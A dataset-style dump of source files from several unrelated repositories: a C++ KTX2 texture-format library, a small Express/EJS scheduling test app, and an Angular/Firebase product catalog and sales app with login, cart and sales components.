size_t DefaultFileIOCallback::read(void* _pUserData, IOHandle _file, void* _pData, size_t _size)
{
FILE* pFile = static_cast<FILE*>(_file);
return fread(_pData, 1u, _size, pFile);
}
void DefaultFileIOCallback::write(void* _pUserData, IOHandle _file, const void* _pData, size_t _size)
{
FILE* pFile = static_cast<FILE*>(_file);
fwrite(_pData, 1u, _size, pFile);
}
size_t DefaultFileIOCallback::tell(void* _pUserData, IOHandle _file)
{
FILE* pFile = static_cast<FILE*>(_file);
return ftell(pFile);
}
bool DefaultFileIOCallback::seek(void* _pUserData, IOHandle _file, size_t _offset)
{
FILE* pFile = static_cast<FILE*>(_file);
return fseek(pFile, _offset, SEEK_SET) == 0;
}
<file_sep>/source/dfd.cpp
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#include "dfd.h"
#include <cstddef>
using namespace ux3d::slimktx2;
DataFormatDesc::BlockHeader::BlockHeader() :
vendorId(VendorId_KHRONOS),
type(DescriptorType_BASICFORMAT),
versionNumber(VersionNumber_1_3),
blockSize(blockHeaderSize), // 2 => no samples
colorModel(ColorModel_UNSPECIFIED),
colorPrimaries(ColorPrimaries_UNSPECIFIED), // unspecified
transferFunction(TransferFunction_LINEAR), // linear
flags(AlphaFlags_STRAIGHT), // alpha straight
texelBlockDimension0(0u),
texelBlockDimension1(0u),
texelBlockDimension2(0u),
texelBlockDimension3(0u),
bytesPlane0(0u),
bytesPlane1(0u),
bytesPlane2(0u),
bytesPlane3(0u),
bytesPlane4(0u),
bytesPlane5(0u),
bytesPlane6(0u),
bytesPlane7(0u)
{
}
uint32_t DataFormatDesc::computeSize() const
{
size_t size = sizeof(uint32_t); // totalSize member
const Block* pBlock = pBlocks;
while (pBlock != nullptr)
{
size += blockHeaderSize;
if (pBlock->pSamples != nullptr)
{
size += static_cast<uint64_t>(pBlock->getSampleCount())* sampleSize;
}
pBlock = pBlock->pNext;
};
return static_cast<uint32_t>(size);
}
ux3d::slimktx2::DataFormatDesc::Block* ux3d::slimktx2::DataFormatDesc::getLastBlock() const
{
Block* pBlock = pBlocks;
while (pBlock != nullptr)
{
if (pBlock->pNext == nullptr)
{
break;
}
pBlock = pBlock->pNext;
}
return pBlock;
}
<file_sep>/include/format.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include <cstdint>
namespace ux3d
{
namespace slimktx2
{
enum Channel : uint32_t
{
Channel_Red = 0,
Channel_Green,
Channel_Blue,
Channel_Alpha
};
// TODO: rename to PixelFormat
enum class Format : uint32_t
{
UNDEFINED = 0u,
//
// PACKED
//
R4G4_UNORM_PACK8 = 1,
R4G4B4A4_UNORM_PACK16 = 2,
B4G4R4A4_UNORM_PACK16 = 3,
R5G6B5_UNORM_PACK16 = 4,
B5G6R5_UNORM_PACK16 = 5,
R5G5B5A1_UNORM_PACK16 = 6,
B5G5R5A1_UNORM_PACK16 = 7,
A1R5G5B5_UNORM_PACK16 = 8,
A2R10G10B10_UNORM_PACK32 = 58,
A2R10G10B10_SNORM_PACK32 = 59,
A2R10G10B10_UINT_PACK32 = 62,
A2R10G10B10_SINT_PACK32 = 63,
A2B10G10R10_UNORM_PACK32 = 64,
A2B10G10R10_SNORM_PACK32 = 65,
A2B10G10R10_UINT_PACK32 = 68,
A2B10G10R10_SINT_PACK32 = 69,
B10G11R11_UFLOAT_PACK32 = 122,
///
/// 8 BIT PER CHANNEL
///
// R8
R8_UNORM = 9,
R8_SNORM = 10,
R8_UINT = 13,
R8_SINT = 14,
R8_SRGB = 15,
// RG8
R8G8_UNORM = 16,
R8G8_SNORM = 17,
R8G8_UINT = 20,
R8G8_SINT = 21,
R8G8_SRGB = 22,
// RGB8
R8G8B8_UNORM = 23,
R8G8B8_SNORM = 24,
R8G8B8_UINT = 27,
R8G8B8_SINT = 28,
R8G8B8_SRGB = 29,
// BGR8
B8G8R8_UNORM = 30,
B8G8R8_SNORM = 31,
B8G8R8_UINT = 34,
B8G8R8_SINT = 35,
B8G8R8_SRGB = 36,
// RGBA8
R8G8B8A8_UNORM = 37,
R8G8B8A8_SNORM = 38,
R8G8B8A8_UINT = 41,
R8G8B8A8_SINT = 42,
R8G8B8A8_SRGB = 43,
// BGRA8
B8G8R8A8_UNORM = 44,
B8G8R8A8_SNORM = 45,
B8G8R8A8_UINT = 48,
B8G8R8A8_SINT = 49,
B8G8R8A8_SRGB = 50,
///
/// 16 BIT PER CHANNEL
///
// R16
R16_UNORM = 70,
R16_SNORM = 71,
R16_UINT = 74,
R16_SINT = 75,
R16_SFLOAT = 76,
// RG16
R16G16_UNORM = 77,
R16G16_SNORM = 78,
R16G16_UINT = 81,
R16G16_SINT = 82,
R16G16_SFLOAT = 83,
// RGB16
R16G16B16_UNORM = 84,
R16G16B16_SNORM = 85,
R16G16B16_UINT = 88,
R16G16B16_SINT = 89,
R16G16B16_SFLOAT = 90,
// RGBA16
R16G16B16A16_UNORM = 91,
R16G16B16A16_SNORM = 92,
R16G16B16A16_UINT = 95,
R16G16B16A16_SINT = 96,
R16G16B16A16_SFLOAT = 97,
///
/// 32 BIT PER CHANNEL
///
// R32
R32_UINT = 98,
R32_SINT = 99,
R32_SFLOAT = 100,
// RG32
R32G32_UINT = 101,
R32G32_SINT = 102,
R32G32_SFLOAT = 103,
// RGB32
R32G32B32_UINT = 104,
R32G32B32_SINT = 105,
R32G32B32_SFLOAT = 106,
// RGBA32
R32G32B32A32_UINT = 107,
R32G32B32A32_SINT = 108,
R32G32B32A32_SFLOAT = 109,
///
/// 64 BIT PER CHANNEL
///
R64_UINT = 110,
R64_SINT = 111,
R64_SFLOAT = 112,
R64G64_UINT = 113,
R64G64_SINT = 114,
R64G64_SFLOAT = 115,
R64G64B64_UINT = 116,
R64G64B64_SINT = 117,
R64G64B64_SFLOAT = 118,
R64G64B64A64_UINT = 119,
R64G64B64A64_SINT = 120,
R64G64B64A64_SFLOAT = 121,
// compressed
BC1_RGB_UNORM_BLOCK = 131,
BC1_RGB_SRGB_BLOCK = 132,
BC1_RGBA_UNORM_BLOCK = 133,
BC1_RGBA_SRGB_BLOCK = 134,
BC2_UNORM_BLOCK = 135,
BC2_SRGB_BLOCK = 136,
BC3_UNORM_BLOCK = 137,
BC3_SRGB_BLOCK = 138,
BC4_UNORM_BLOCK = 139,
BC4_SNORM_BLOCK = 140,
BC5_UNORM_BLOCK = 141,
BC5_SNORM_BLOCK = 142,
BC6H_UFLOAT_BLOCK = 143,
BC6H_SFLOAT_BLOCK = 144,
BC7_UNORM_BLOCK = 145,
BC7_SRGB_BLOCK = 146,
ETC2_R8G8B8_UNORM_BLOCK = 147,
ETC2_R8G8B8_SRGB_BLOCK = 148,
ETC2_R8G8B8A1_UNORM_BLOCK = 149,
ETC2_R8G8B8A1_SRGB_BLOCK = 150,
ETC2_R8G8B8A8_UNORM_BLOCK = 151,
ETC2_R8G8B8A8_SRGB_BLOCK = 152,
EAC_R11_UNORM_BLOCK = 153,
EAC_R11_SNORM_BLOCK = 154,
EAC_R11G11_UNORM_BLOCK = 155,
EAC_R11G11_SNORM_BLOCK = 156,
ASTC_4x4_UNORM_BLOCK = 157,
ASTC_4x4_SRGB_BLOCK = 158,
PVRTC1_2BPP_UNORM_BLOCK_IMG = 1000054000,
PVRTC1_4BPP_UNORM_BLOCK_IMG = 1000054001,
PVRTC2_2BPP_UNORM_BLOCK_IMG = 1000054002,
PVRTC2_4BPP_UNORM_BLOCK_IMG = 1000054003,
PVRTC1_2BPP_SRGB_BLOCK_IMG = 1000054004,
PVRTC1_4BPP_SRGB_BLOCK_IMG = 1000054005,
PVRTC2_2BPP_SRGB_BLOCK_IMG = 1000054006,
PVRTC2_4BPP_SRGB_BLOCK_IMG = 1000054007,
};
// ktx_transcode_fmt_e
enum class TranscodeFormat : uint32_t
{
ETC1_RGB = 0,
ETC2_RGBA = 1,
BC1_RGB = 2,
BC3_RGBA = 3,
BC4_R = 4,
BC5_RG = 5,
BC7_RGBA = 6,
PVRTC1_4_RGB = 8,
PVRTC1_4_RGBA = 9,
ASTC_4x4_RGBA = 10,
PVRTC2_4_RGB = 18,
PVRTC2_4_RGBA = 19,
ETC2_EAC_R11 = 20,
ETC2_EAC_RG11 = 21,
RGBA32 = 13,
RGB565 = 14,
BGR565 = 15,
RGBA4444 = 16,
//ETC = 22, // Automatically selects @c ETC1_RGB or @c ETC2_RGBA according to presence of alpha.
//BC1_OR_3 = 23, //Automatically selects @c BC1_RGB or @c BC3_RGBA according to presence of alpha.
UNDEFINED = ~0u
};
// as defined by KTX (channel size)
uint32_t getTypeSize(Format _vkFormat);
// as defined by vulkan (element size, block or texel)
uint32_t getFormatSize(Format _vkFormat);
// get number of pixels (widht and hight) per block, returns if format is not BLOCK
bool getBlockSize(Format _vkFormat, uint32_t& _outWdith, uint32_t& _outHeight);
uint32_t getChannelCount(Format _vkFormat);
uint32_t getChannelSize(Format _vkFormat, uint32_t _channelIndex);
int32_t getChannelIndex(Format _vkFormat, Channel _channel);
bool isFloat(Format _vkFormat);
bool isSigned(Format _vkFormat);
bool isNormalized(Format _vkFormat);
bool isSrgb(Format _vkFormat);
bool isPacked(Format _vkFormat);
bool isCompressed(Format _vkFormat);
uint64_t getFaceSize(Format _vkFormat, uint32_t _level, uint32_t _width, uint32_t _height, uint32_t _depth = 0u);
// computes the pixel count (resolution) of an image of the given level
uint32_t getPixelCount(uint32_t _level, uint32_t _width, uint32_t _height, uint32_t _depth);
uint32_t getPadding(uint64_t _value, uint32_t _alginment);
// greedy least common multiple
uint32_t getLCM(uint32_t _x, uint32_t _y);
// _value / offset to apply lcm4 padding to (if applicable)
uint32_t getMipPadding(uint64_t _value, Format _vkFormat, bool _superCompression);
Format transcodeToVkFormat(TranscodeFormat _format, bool _sRGB);
}// !slimktx2
} // ux3d
<file_sep>/include/DefaultAllocationCallback.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include "callbacks.h"
namespace ux3d
{
namespace slimktx2
{
class DefaultAllocationCallback
{
public:
Callbacks getCallback() const;
operator Callbacks() const;
private:
static void* allocate(void* _pUserData, size_t _size);
static void deallocate(void* _pUserData, void* _pData);
};
} // !slimktx2
} // !ux3d<file_sep>/include/callbacks.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include <cstdarg>
#include <cstddef>
namespace ux3d
{
namespace slimktx2
{
using AllocationFunc = void* (*)(void* _pUserData, size_t _size);
using DeallocationFunc = void(*)(void* _pUserData, void* _pData);
// IO - stream or file
using IOHandle = void*;
using ReadFunc = size_t(*)(void* _pUserData, IOHandle _file, void* _pData, size_t _size);
using WriteFunc = void(*)(void* _pUserData, IOHandle _file, const void* _pData, size_t _size);
using TellFunc = size_t(*)(void* _pUserData, const IOHandle _file);
using SeekFunc = bool(*)(void* _pUserData, IOHandle _file, size_t _offset);
using LogFunc = void(*)(void* _pUserData, const char* _pFormat, va_list args);
struct Callbacks
{
void* userData = nullptr; // holds allocator, user implementations
AllocationFunc allocate = nullptr;
DeallocationFunc deallocate = nullptr;
ReadFunc read = nullptr;
WriteFunc write = nullptr;
TellFunc tell = nullptr;
SeekFunc seek = nullptr;
// optional
LogFunc log = nullptr;
};
inline Callbacks operator|(const Callbacks& _lhs, const Callbacks& _rhs)
{
Callbacks callback = _lhs;
if (callback.userData == nullptr) { callback.userData = _rhs.userData; }
if (callback.allocate == nullptr) { callback.allocate = _rhs.allocate; }
if (callback.deallocate == nullptr) { callback.deallocate = _rhs.deallocate; }
if (callback.read == nullptr) { callback.read = _rhs.read; }
if (callback.write == nullptr) { callback.write = _rhs.write; }
if (callback.tell == nullptr) { callback.tell = _rhs.tell; }
if (callback.seek == nullptr) { callback.seek = _rhs.seek; }
if (callback.log == nullptr) { callback.log = _rhs.log; }
return callback;
}
}// !slimktx2
} // ux3d
<file_sep>/include/DefaultMemoryStreamCallback.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include "callbacks.h"
#include <cstdint>
namespace ux3d
{
namespace slimktx2
{
// 'IOHanlde'
class DefaultMemoryStream
{
public:
// read constructor
DefaultMemoryStream(const uint8_t* _pData, const size_t _size) :
m_pDataConst(_pData), m_size(_size) {}
// read write
DefaultMemoryStream(uint8_t* _pData, const size_t _size) :
m_pDataConst(_pData), m_pData(_pData), m_size(_size) {}
const uint8_t* getDataConst() const { return m_pDataConst; };
uint8_t* getData() const { return m_pData; };
size_t getSize() const { return m_size; };
size_t getOffset() const { return m_offset; };
void setOffset(size_t _offset) { m_offset = _offset; };
private:
const uint8_t* m_pDataConst = nullptr;
uint8_t* m_pData = nullptr;
const size_t m_size = 0u;
size_t m_offset = 0u;
};
// assumes IOHandle is of type DefaultMemoryStream
class DefaultMemoryStreamCallback
{
public:
Callbacks getCallback() const;
operator Callbacks() const;
private:
static size_t read(void* _pUserData, IOHandle _iohandle, void* _pData, size_t _size);
static void write(void* _pUserData, IOHandle _iohandle, const void* _pData, size_t _size);
static size_t tell(void* _pUserData, IOHandle _iohandle);
static bool seek(void* _pUserData, IOHandle _iohandle, size_t _offset);
};
} // !slimktx2
} // !ux3d
| c7a3f0bc5fec0fe404467baadffe7951a54757d1 | [
"Markdown",
"CMake",
"C++"
] | 22 | C++ | ux3d/slimktx2 | cd5f0b1528d57e4551b9c0e9f369f7a13ee0a7e1 | 02a72daa34e72a8edee5a3da62c64a0075b7cdf5 |
refs/heads/main | <repo_name>jOrdenesC/test-hours<file_sep>/README.md
# TEST HOURS
Testing michcom hora de motocicletas.
### Pasos de instalación
1. create .env file
2. npm install
3. npm run starto
### Tecnologías usadas
* Express
* Node js
* EJS
* Morgan
* Mongoose
* body parser
<file_sep>/app.js
const express = require('express')
const app = express()
require('dotenv').config()
const db = require("./config/db")
const morgan = require('morgan');
//Importar rutas
const indexRoutes = require('./routes/index');
//Configuraciones
app.set('view engine', 'ejs');
//Middlewares4
app.use(morgan('dev'));
app.use(express.urlencoded({ extended: false }));
//Rutas
app.use('/', indexRoutes);
app.listen(process.env.PORT, () => {
console.log(`iniciado en http://localhost:${process.env.PORT}`)
})
<file_sep>/routes/index.js
const express = require('express');
const router = express.Router();
const moment = require('moment')
const hours = [];
const motorcycles = [];
for (let hour = 8; hour <= 20; hour++) {
hours.push(moment({ hour }).format('h:mm A'));
hours.push(
moment({
hour,
minute: 30
}).format('h:mm A')
);
}
for (let motorcycle = 1; motorcycle <= 8; motorcycle++) {
motorcycles.push({
"name": "Motociclista " + motorcycle,
"status": false
})
}
router.get('/', async (req, res) => {
res.render('home', { hours, motorcycles })
});
router.post('/changeStatus', async (req, res) => {
motorcycles.forEach(function (el, index) {
if (el.name = req.name) {
motorcycles["status"] = !motorcycles["status"];
}
})
res.redirect('/')
});
module.exports = router; | 40629b812363fc2cc5f8ecd7ac4d559d6dea4afa | [
"Markdown",
"JavaScript"
] | 3 | Markdown | jOrdenesC/test-hours | b9269d7df0a168199bdc5cadf519ae4ff2e594c7 | cdda068df44acdd95eee44471e02862696b64350 |
refs/heads/master | <file_sep>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router'
import { Vista2Component } from '../app/vista2/vista2.component';
import { HomeComponent } from '../app/vista2/home/home.component';
import { ProductosComponent } from '../app/vista2/productos/productos.component';
import { EstadisticaComponent } from '../app/vista2/estadistica/estadistica.component';
import { PerfilComponent } from '../app/vista2/perfil/perfil.component';
import { CarritoComponent } from '../app/vista2/carrito/carrito.component';
import { LoginComponent } from '../app/vista1/login/login.component';
import { VentasComponent } from '../app/vista2/ventas/ventas.component';
import { CongratulationsComponent } from '../app/vista2/congratulations/congratulations.component'
const routes: Routes = [
{ path: '', component: LoginComponent},
{ path: 'vista2', component: Vista2Component,
children: [
{ path: 'homepage', component: HomeComponent},
{ path: 'products', component: ProductosComponent},
{ path: 'ventas', component: VentasComponent},
{ path: 'stadistic', component: EstadisticaComponent},
{ path: 'profile', component: PerfilComponent},
{ path: 'carrito', component: CarritoComponent},
{ path: 'congratulations', component: CongratulationsComponent}
]}
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
<file_sep>import { Component, OnInit } from '@angular/core';
import { FirebaseService } from '../../service/firebase.service'
import { LocalService } from 'src/app/service/local.service';
@Component({
selector: 'app-navbar',
templateUrl: './navbar.component.html',
styleUrls: ['./navbar.component.css']
})
export class NavbarComponent implements OnInit {
dataProducto=[];
constructor(
public firestorProductoService: FirebaseService,
public servicioLocal: LocalService
) {
}
ngOnInit() {
}
filtrarCategoria(data:string){
this.servicioLocal.filtrarData(data);
}
/* filtrarCategoria(data:string){
this.firestorProductoService.getDataProducts().subscribe( dataPr => {
// se crea una variable de tipo string donde se va a guardar el valor
const filterData = dataPr.filter((obj: any ) => {
if(obj.categoria === data){
return obj;
console.log(obj);
}
});
this.dataProducto = filterData;
});
}*/
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { LocalService } from '../../service/local.service'
import {Router} from '@angular/router';
import { NgbModal } from '@ng-bootstrap/ng-bootstrap';
@Component({
selector: 'app-carrito',
templateUrl: './carrito.component.html',
styleUrls: ['./carrito.component.css']
})
export class CarritoComponent implements OnInit {
prodOrders: any;
total: number;
investment: number;
finalBal = this.investment;
name: string;
earnings: number;
factory: string = "Callao";
closeResult: string;
model = 1;
constructor(private localService: LocalService, private router: Router, private modalService: NgbModal) { }
ngOnInit() {
this.localService.userOrderCart.subscribe((obj: object) => {
this.prodOrders = obj;
})
this.localService.userCodePerfil.subscribe((obj) => {
this.showInvestment(obj)
})
}
addFinalQty(prod) {
if (prod.quantity < 10) {
prod.quantity += 1;
}
}
redFinalQty(prod) {
if (prod.quantity > 1) {
prod.quantity -= 1;
}
}
deleteItem(ind) {
const newList = this.prodOrders.filter((product, index) => {
return index != ind;
})
this.prodOrders = newList;
}
subTotal(index) {
const elem = this.prodOrders[index];
elem.subTotal = parseFloat((elem.precMay * elem.quantity).toFixed(2));
return elem.subTotal;
}
showBalance() {
if (this.prodOrders.length >= 1) {
const balance = parseFloat((this.investment - this.total).toFixed(2));
this.finalBal = balance;
return balance;
}
}
showInvestment(obj) {
this.investment = obj.inversion;
this.name = obj.nombre;
}
makeOrder(prods, content) {
this.localService.requestOrder(
{
...prods,
compraTotal: this.total,
saldoRestante: this.finalBal,
nombre: this.name,
ganancia: this.showEarnings(),
place: this.factory
}
);
this.modalService.open(content, { centered: true, ariaLabelledBy: 'modal-basic-title', backdrop: "static" }).result.then((result) => {
this.router.navigateByUrl('/vista2/homepage');
this.closeResult = `Closed with: ${result}`;
});
this.prodOrders = [];
}
showEarnings() {
if (this.prodOrders.length >= 1) {
this.earnings = parseFloat((this.prodOrders.reduce((total ,prodA) => total + prodA.ganancia*prodA.quantity, 0)).toFixed(2));
return this.earnings;
}
}
totalOrder() {
if (this.prodOrders.length >= 1) {
this.total = this.prodOrders.reduce((total, prodB) =>
total + prodB.subTotal, 0);
return parseFloat((this.total).toFixed(2));
}
}
capturePlace(place){
this.factory = place;
console.log(this.factory)
}
}
<file_sep>import { Injectable } from '@angular/core';
// import firebase
import { AngularFirestore } from '@angular/fire/firestore';
// observable
@Injectable({
providedIn: 'root'
})
export class FirebaseService {
constructor(public firestore: AngularFirestore) { }
getDataPersonal(){
return this.firestore.collection('operarios').valueChanges();
}
sendDataFirebase(objtSale) {
console.log(objtSale);
this.firestore.collection('ventas').add(objtSale);
}
/* getProducsByCat(categ: string) {
return this.firestore.collection('productos', ref => ref.where('categoria', '==', categ)).valueChanges();
}
*/
getDataProducts(){
return this.firestore.collection('productos').valueChanges();
}
createOrder(prods){
return this.firestore.collection('orders').add(prods);
}
getDataOrde() {
return this.firestore.collection('orders').valueChanges();
}
getDataDistrict(){
return this.firestore.collection('distritos').valueChanges();
}
}
<file_sep>import { BrowserModule } from '@angular/platform-browser';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
// firebase
import { AngularFireModule } from '@angular/fire';
import { AngularFirestore } from '@angular/fire/firestore';
// eviroments
import { environment } from '../environments/environment';
// componentes
import { LoginComponent } from './vista1/login/login.component';
import { HomeComponent } from './vista2/home/home.component';
import { NavbarComponent } from './vista2/navbar/navbar.component';
import { ProductosComponent } from './vista2/productos/productos.component';
import { EstadisticaComponent } from './vista2/estadistica/estadistica.component';
import { CarritoComponent } from './vista2/carrito/carrito.component';
import { PerfilComponent } from './vista2/perfil/perfil.component';
import { Vista2Component } from './vista2/vista2.component';
// servicios
import { FirebaseService } from './service/firebase.service';
import { VentasComponent } from './vista2/ventas/ventas.component';
import { FormsModule } from '@angular/forms';
import { CongratulationsComponent } from './vista2/congratulations/congratulations.component';
// Ng Bootsrap
import {NgbModule} from '@ng-bootstrap/ng-bootstrap';
// pipe
//owl estilos
import { CarouselModule } from 'ngx-owl-carousel-o';
@NgModule({
declarations: [
AppComponent,
LoginComponent,
HomeComponent,
NavbarComponent,
ProductosComponent,
EstadisticaComponent,
CarritoComponent,
PerfilComponent,
Vista2Component,
VentasComponent,
CongratulationsComponent,
],
imports: [
BrowserModule,
AppRoutingModule,
AngularFireModule.initializeApp(environment.firebaseConfig),
FormsModule,
NgbModule,
CarouselModule,
BrowserAnimationsModule
],
providers: [
AngularFirestore,
],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>import { Injectable } from '@angular/core';
import { BehaviorSubject } from 'rxjs';
import { FirebaseService } from '../service/firebase.service'
export interface RegisterSales {
name: string;
productos : [],
};
@Injectable({
providedIn: 'root'
})
export class LocalService {
public usuario: string;
public listProductsSale: [];
public dataUserSale: {};
enviarCodigoUsuario: object[];
productos = [];
public dato:string;
public userCode = new BehaviorSubject([]);
userCodePerfil = this.userCode.asObservable();
public userOrder = new BehaviorSubject([]);
userOrderCart = this.userOrder.asObservable();
public filtrarDataComp = new BehaviorSubject('');
dataComponentFiltrar = this.filtrarDataComp.asObservable();
constructor(public firebaseService: FirebaseService) {
this.filtrarData(this.dato)
}
sendDataToService(arrayProducts, nameuser) {
console.log(nameuser);
this.listProductsSale = arrayProducts;
const modelOrder: RegisterSales = {
name: nameuser.nombre,
productos: this.listProductsSale,
}
return this.firebaseService.sendDataFirebase(modelOrder);
}
sendToCart(prod) {
const prodExistente = this.productos.find(p => prod.id === p.id)
if (!prodExistente) {
this.productos.push(prod);
} else {
prodExistente.quantity += prod.quantity
}
this.userOrder.next(this.productos);
}
requestOrder(prods) {
this.firebaseService.createOrder({ ...prods });
this.productos = [];
}
codeUser(objtDataUser){
const dataUserSale = {
...objtDataUser
}
this.enviarCodigoUsuario = dataUserSale;
this.userCode.next(this.enviarCodigoUsuario);
}
filtrarData(data:string){
this.dato = data;
/* this.firebaseService.getProducsByCat(data);
*/ this.filtrarDataComp.next(this.dato);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { FirebaseService } from '../../service/firebase.service';
import { LocalService } from '../../service/local.service'
import { NgbModal, ModalDismissReasons } from '@ng-bootstrap/ng-bootstrap';
import { OwlOptions } from 'ngx-owl-carousel-o';
@Component({
selector: 'app-productos',
templateUrl: './productos.component.html',
styleUrls: ['./productos.component.css']
})
export class ProductosComponent implements OnInit {
products = [];
order = [];
dataimport: string;
closeResult: string;
model = 1;
customOptions: OwlOptions = {
loop: true,
margin:10,
nav: true,
navText: ['back', 'next'],
responsive: {
0: {
items: 1
},
400: {
items: 2
},
740: {
items: 3
},
940: {
items: 4
}
}
}
constructor(public firebaseService: FirebaseService, private localService: LocalService, private modalService: NgbModal
) {
this.funcionIniciarData(this.dataimport)
}
ngOnInit() {
this.filtrarDataNavBar()
}
filtrarDataNavBar() {
this.localService.dataComponentFiltrar.subscribe((data: string) => {
this.dataimport = data;
return this.funcionIniciarData(this.dataimport)
});
}
funcionIniciarData(value){
this.firebaseService.getDataProducts().subscribe(ele => {
this.products=[];
ele.forEach((productData:any) => {
if(!value || productData.categoria === value){
this.products.push({
data: {...productData,
quantity: 0}
});
}
})
});
}
addProduct(product, index, content) {
if (product.data.quantity > 0) {
this.localService.sendToCart({ ...product.data });
this.modalService.open(content, { centered: true, ariaLabelledBy: 'modal-basic-title' }).result.then((result) => {
this.closeResult = `Closed with: ${result}`;
}, (reason) => {
this.closeResult = `Dismissed ${this.getDismissReason(reason)}`;
product.data.quantity = 0
});
} else {
alert("Selecciona mínimo un producto")
}
}
private getDismissReason(reason: any): string {
if (reason === ModalDismissReasons.ESC) {
return 'by pressing ESC';
} else if (reason === ModalDismissReasons.BACKDROP_CLICK) {
return 'by clicking on a backdrop';
} else {
return `with: ${reason}`;
}
}
addQuantity(index) {
const prod = this.products[index].data
if (prod.quantity < 10) {
prod.quantity += 1;
}
}
reduceQuantity(index) {
const prod = this.products[index].data
if (prod.quantity > 0) {
prod.quantity -= 1;
}
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { LocalService } from '../../service/local.service';
import { FirebaseService } from '../../service/firebase.service';
import { Router } from '@angular/router';
@Component({
selector: 'app-ventas',
templateUrl: './ventas.component.html',
styleUrls: ['./ventas.component.css']
})
export class VentasComponent implements OnInit {
public ventaFinalSeleccionado: string;
public typeconsumer: string;
public productoVendido: string;
public clienteSeleccionado: string;
public distritoSeleccionado: string;
public cantidadVendida: number;
public precioSugerido: any;
public stock: number;
public dataObjectProducts = [];
public userData: {};
public dataBuyUser: any;
public newArrayProducts: any;
public newArrayPrice: any;
public objectListProducts: any;
public subTotalSale: number;
public percentSale: number;
public listDistricts: any;
date: any;
public earningTotal: number;
constructor( private service: LocalService, private router: Router, private serviceFirestore: FirebaseService) {
this.service.userCodePerfil.subscribe((obj: object) => {
this.userData = obj;
})
/*Trae la data de compra de productos del usuario logueado */
this.serviceFirestore.getDataOrde().subscribe(objectBuy => {
this.dataBuyUser = objectBuy;
this.dataSelect();
})
/* Trae la data de distritos de la base de datos de firestore */
this.serviceFirestore.getDataDistrict().subscribe(districts => {
this.listDistricts = districts;
})
}
ngOnInit() {
this.date = new Date();
}
dataSelect(){
if (this.dataBuyUser) {
const dataNewObject = this.dataBuyUser;
const newObj = Object.values(dataNewObject);
const valueObj = newObj.filter(value => typeof value === "object");
this.objectListProducts = valueObj
const eleUno = valueObj.map((p: any) => p[0].nombre );
this.newArrayProducts = eleUno;
}
}
capturarClienteFinal(value) {
// Pasamos el valor seleccionado a la variable verSeleccion
this.typeconsumer = value;
}
capturarDistrito(value){
this.distritoSeleccionado = value;
}
capturarProducto(value) {
this.productoVendido = value;
}
addSale() {
this.precioSugerido = this.objectListProducts.find(p => p[0].nombre === this.productoVendido)
this.subTotal(this.cantidadVendida, this.precioSugerido[0].precSug)
this.ganancia(this.cantidadVendida, this.precioSugerido[0].ganancia, this.precioSugerido[0].unidades)
const dataObjt = {
ventaFinal: this.typeconsumer,
distrito: this.distritoSeleccionado,
productovendido: this.productoVendido,
cantidad: this.cantidadVendida,
preciosugerido: this.precioSugerido[0].precSug,
indice: this.productoVendido.substring(0,3),
subtotal: this.subTotalSale,
ganancia: this.percentSale,
fecha: this.date
}
this.gananciaTotal(this.percentSale)
if(dataObjt.productovendido !== '' && dataObjt.cantidad) {
this.dataObjectProducts.push(dataObjt);
this.cantidadVendida = 0;
this.precioSugerido = 0;
this.stock = 0;
return this.dataObjectProducts;
} else {
alert("Ingresa los datos requeridos")
}
}
subTotal(cantidad, precio) {
this.subTotalSale = cantidad*precio;
return this.subTotalSale;
}
ganancia(venta: number, ganancia: number, unidades: number){
return this.percentSale = venta*(ganancia/unidades);
}
gananciaTotal(earning: number){
this.earningTotal = this.percentSale + earning;
return parseFloat(this.earningTotal.toFixed(2));
}
deleteSaleProduct(indice: any) {
const newListproduct = this.dataObjectProducts.filter(elemt => elemt.indice !== indice.substring(0,3));
this.dataObjectProducts = newListproduct;
return this.dataObjectProducts;
}
sendDataSale(){
const newObjectSaleProduct = this.dataObjectProducts;
const nameSaleuser = this.userData;
this.service.sendDataToService(newObjectSaleProduct, nameSaleuser);
return this.router.navigateByUrl('/vista2/congratulations');
}
}
<file_sep># catalogo-alicorp-talent<file_sep>import { Component, OnInit } from '@angular/core';
import { FirebaseService } from '../../service/firebase.service'
import { LocalService } from '../../service/local.service'
@Component({
selector: 'app-perfil',
templateUrl: './perfil.component.html',
styleUrls: ['./perfil.component.css']
})
export class PerfilComponent implements OnInit {
public user: any;
constructor(
public firebaseServicePersonal : FirebaseService,
public servicioLocal : LocalService
) { }
ngOnInit() {
this.dataUser();
}
dataUser(){
this.servicioLocal.userCodePerfil.subscribe((obj: object) => {
this.user = obj;
})
console.log(this.user)
}
}
// 23456-1234 67774222
<file_sep>import { Component, OnInit } from '@angular/core';
// importar el servicio de firebase para extraer data
import { FirebaseService } from '../../service/firebase.service'
import { LocalService } from '../../service/local.service'
// importar ruteador
import { Router } from '@angular/router';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit {
userCodigo: string;
constructor(
public firebaseServicePersonal : FirebaseService,
private rutas: Router,
private servicioLocal:LocalService
) {
}
ngOnInit() {
}
dataPersonal(codigo, password){
this.firebaseServicePersonal.getDataPersonal().subscribe( data => {
console.log(data)
const filterUser = data.filter((obj:any) => {
if(obj.codigo === codigo && password === <PASSWORD>){
console.log('ingrese')
const codeUser = codigo;
console.log(codeUser)
const objData = {
codigo:codeUser,
nombre: obj.nombre,
dni: obj.dni,
inversion: obj.inversion,
distrito: obj.distrito
}
this.servicioLocal.codeUser(objData);
this.rutas.navigateByUrl('/vista2/homepage');
}
});
return filterUser;
})
}
}
| 0b6af9e701dcfaea02382287f4fb1329c73dfad2 | [
"Markdown",
"TypeScript"
